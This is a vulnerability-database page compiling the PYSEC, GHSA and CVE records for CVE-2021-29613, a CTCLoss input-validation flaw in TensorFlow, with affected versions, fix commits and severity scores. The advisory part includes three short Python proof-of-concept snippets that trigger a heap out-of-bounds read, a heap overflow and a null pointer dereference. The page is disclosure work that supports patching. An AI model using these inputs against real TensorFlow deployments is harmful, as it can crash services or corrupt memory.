pysec - pysec-2021-739

pysec-2021-739

Vulnerability from pysec

Published

2021-05-14 20:15

Modified

2021-12-09 06:35

Details

TensorFlow is an end-to-end open source platform for machine learning. Incomplete validation in tf.raw_ops.CTCLoss allows an attacker to trigger an OOB read from heap. The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu",
        "purl": "pkg:pypi/tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14607c0707040d775e06b6817325640cb4b5864c"
            },
            {
              "fixed": "4504a081af71514bb1828048363e6540f797005b"
            }
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          "repo": "https://github.com/tensorflow/tensorflow",
          "type": "GIT"
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            {
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            },
            {
              "fixed": "2.2.3"
            },
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.3"
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              "introduced": "2.4.0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
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      "versions": [
        "0.12.0",
        "0.12.1",
        "1.0.0",
        "1.0.1",
        "1.1.0",
        "1.10.0",
        "1.10.1",
        "1.11.0",
        "1.12.0",
        "1.12.2",
        "1.12.3",
        "1.13.1",
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        "1.14.0",
        "1.15.0",
        "1.15.2",
        "1.15.3",
        "1.15.4",
        "1.15.5",
        "1.2.0",
        "1.2.1",
        "1.3.0",
        "1.4.0",
        "1.4.1",
        "1.5.0",
        "1.5.1",
        "1.6.0",
        "1.7.0",
        "1.7.1",
        "1.8.0",
        "1.9.0",
        "2.0.0",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.1.0",
        "2.1.1",
        "2.1.2",
        "2.1.3",
        "2.2.0",
        "2.2.1",
        "2.2.2",
        "2.3.0",
        "2.3.1",
        "2.3.2",
        "2.4.0",
        "2.4.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2021-29613",
    "GHSA-vvg4-vgrv-xfr7"
  ],
  "details": "TensorFlow is an end-to-end open source platform for machine learning. Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap. The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.",
  "id": "PYSEC-2021-739",
  "modified": "2021-12-09T06:35:34.219918Z",
  "published": "2021-05-14T20:15:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7"
    },
    {
      "type": "FIX",
      "url": "https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c"
    },
    {
      "type": "FIX",
      "url": "https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b"
    }
  ]
}

ghsa-vvg4-vgrv-xfr7

Vulnerability from github

Published

2021-05-21 14:28

Modified

2024-11-13 16:25

Severity ?

6.3 (Medium) - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H
5.8 (Medium) - CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

Incomplete validation in `tf.raw_ops.CTCLoss`

Details

Impact

Incomplete validation in tf.raw_ops.CTCLoss allows an attacker to trigger an OOB read from heap:

```python import tensorflow as tf

inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32) labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64) labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32) sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=True, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=True) ```

An attacker can also trigger a heap buffer overflow:

```python import tensorflow as tf

inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32) labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64) labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ```

Finally, an attacker can trigger a null pointer dereference:

```python import tensorflow as tf

inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32) labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64) labels_values = tf.constant([], shape=[0], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)

tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ```

Patches

We have patched the issue in GitHub commit14607c0707040d775e06b6817325640cb4b5864c followed by GitHub commit 4504a081af71514bb1828048363e6540f797005b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
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              "fixed": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
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      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
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          "type": "ECOSYSTEM"
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      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
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          "events": [
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              "introduced": "2.3.0"
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        "name": "tensorflow-gpu"
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              "introduced": "2.3.0"
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        "name": "tensorflow-gpu"
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            {
              "introduced": "2.4.0"
            },
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              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-29613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125",
      "CWE-665"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-17T21:46:09Z",
    "nvd_published_at": "2021-05-14T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact \nIncomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)\nlabels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)\nsequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)\n  \ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=True, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=True)\n```   \n      \nAn attacker can also trigger a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)\nlabels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)\nlabels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=False)\n```\n\nFinally, an attacker can trigger a null pointer dereference:\n\n```python \nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)\nlabels_values = tf.constant([], shape=[0], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n                   labels_values=labels_values, sequence_length=sequence_length,\n                   preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n                   ignore_longer_outputs_than_inputs=False)\n```\n\n### Patches\nWe have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.",
  "id": "GHSA-vvg4-vgrv-xfr7",
  "modified": "2024-11-13T16:25:42Z",
  "published": "2021-05-21T14:28:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29613"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c"
    },
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      "url": "https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b"
    },
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      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-541.yaml"
    },
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      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-739.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-250.yaml"
    },
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      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
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  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incomplete validation in `tf.raw_ops.CTCLoss`"
}

cve-2021-29613

Vulnerability from cvelistv5

Published

2021-05-14 19:20

Modified

2024-08-03 22:11

Severity ?

6.3 (Medium) - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

TensorFlow is an end-to-end open source platform for machine learning. Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap. The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

References

▼	URL	Tags
	https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7	x_refsource_CONFIRM
	https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c	x_refsource_MISC
	https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b	x_refsource_MISC

Impacted products

Vendor

Product

Version

▼

tensorflow

Version: < 2.1.4
Version: >= 2.2.0, < 2.2.3
Version: >= 2.3.0, < 2.3.3
Version: >= 2.4.0, < 2.4.2

Show details on NVD website

JSON

To clipboard

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            {
              "lang": "eng",
              "value": "TensorFlow is an end-to-end open source platform for machine learning. Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap. The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range."
            }
          ]
        },
        "impact": {
          "cvss": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-665: Improper Initialization"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7",
              "refsource": "CONFIRM",
              "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7"
            },
            {
              "name": "https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c",
              "refsource": "MISC",
              "url": "https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c"
            },
            {
              "name": "https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b",
              "refsource": "MISC",
              "url": "https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b"
            }
          ]
        },
        "source": {
          "advisory": "GHSA-vvg4-vgrv-xfr7",
          "discovery": "UNKNOWN"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2021-29613",
    "datePublished": "2021-05-14T19:20:33",
    "dateReserved": "2021-03-30T00:00:00",
    "dateUpdated": "2024-08-03T22:11:06.117Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

pysec-2021-739

Vulnerability from pysec

ghsa-vvg4-vgrv-xfr7

Vulnerability from github

Impact

Patches

For more information

Attribution

cve-2021-29613

Vulnerability from cvelistv5

Tags

Sightings

Nomenclature